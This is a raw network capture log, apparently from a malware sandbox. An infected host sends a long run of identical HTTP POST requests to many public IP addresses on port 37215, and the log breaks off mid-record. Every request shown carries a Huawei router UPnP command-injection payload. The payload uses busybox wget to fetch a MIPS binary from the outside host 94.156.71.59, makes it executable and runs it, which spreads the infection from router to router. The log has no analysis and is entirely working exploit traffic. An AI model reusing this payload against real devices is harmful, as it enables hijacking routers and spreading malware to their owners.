Jun 10, 2024 15:38:00.191720963 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.13	48172	156.168.245.29	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.192522049 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.13	34652	41.154.67.6	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.193306923 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.13	43578	197.105.96.234	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.193999052 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.13	37402	197.153.65.158	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.194715023 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.13	34518	156.156.125.193	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.195434093 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.13	48942	197.159.13.233	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.196296930 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.13	48674	41.154.147.59	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.197150946 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.13	54544	197.181.198.133	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.198031902 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.13	40706	41.229.216.231	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.198882103 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.13	35058	41.251.58.239	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.199727058 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 